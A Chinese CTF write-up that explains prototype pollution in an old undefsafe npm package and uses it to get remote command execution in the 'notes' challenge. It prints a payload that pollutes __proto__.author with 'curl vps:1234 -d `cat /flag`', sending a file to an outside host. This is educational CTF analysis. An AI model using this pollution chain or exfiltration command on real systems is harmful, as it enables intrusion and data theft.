源于一道题: [网鼎杯 2020 青龙组]notes
做这道题的时候一直在想着找undefined属性 后面又因为一个坑没调试出来原型链污染效果=.=||
代码太长了就不贴了.
原型链污染分析
undefsafe低版本存在原型链污染, 详细信息: https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940
1 | var a = require("undefsafe"); |
题目思路很简单,通过原型链污染RCE即可
/status
路由下存在命令执行:
1 | app.route('/status') |
/edit_note
下三个参数都完全可控, 并且直接传给了Notes.edit_note
, 可污染author和raw_note属性值
1 | class Notes { |
RCE
与常规原型链污染思路不一样的是这道题的commands并不是undefined并且也没用到commands的undefined属性值.
看一个demo:
引出两个问题:
- 为什么遍历commands这个json对象,
xyz xyz
会被遍历出来 - 为什么toString没被遍历出来.
这篇文章 提到: for...in
能够遍历到对象的可枚举的属性(包括对象自身的属性,原型链上的属性)
js可枚举属性和不可枚举属性: https://zhuanlan.zhihu.com/p/47291013
可枚举属性是指那些内部 “可枚举” 标志设置为 true 的属性。对于通过直接的赋值和属性初始化的属性,该标识值默认为即为 true。但是对于通过 Object.defineProperty 等定义的属性,该标识值默认为 false。
显然xyz为可枚举属性, toString为不可枚举属性. 所以xyz可以遍历到而toString不可以.
所以正常污染一个属性然后调试是可以发现其属性值是可以被当作命令执行的,而调试的时候用的是漏洞poc, 污染了toString. =.=||
1 | var a = require("undefsafe"); |
然后RCE就简单了
向路由edit_note
传下面参数,
1 | { |
构造:
1 | undefsafe({},"__proto__.author","curl vps:1234 -d `cat /flag"); |
然后访问/status
总结
for...in
能够遍历到对象的可枚举的属性(包括对象自身的属性,原型链上的属性)
对于原型链污染利用思路的扩展: 只要涉及到原型链都可能会受到影响,扩展知识面才能扩展攻击面
Reference
JSON.parse() 对于 __proto__ 的处理 https://www.jianshu.com/p/ab3de959e19c
https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940
js可枚举属性和不可枚举属性 https://zhuanlan.zhihu.com/p/47291013
__proto__ and JSONhttps://esdiscuss.org/topic/proto-and-json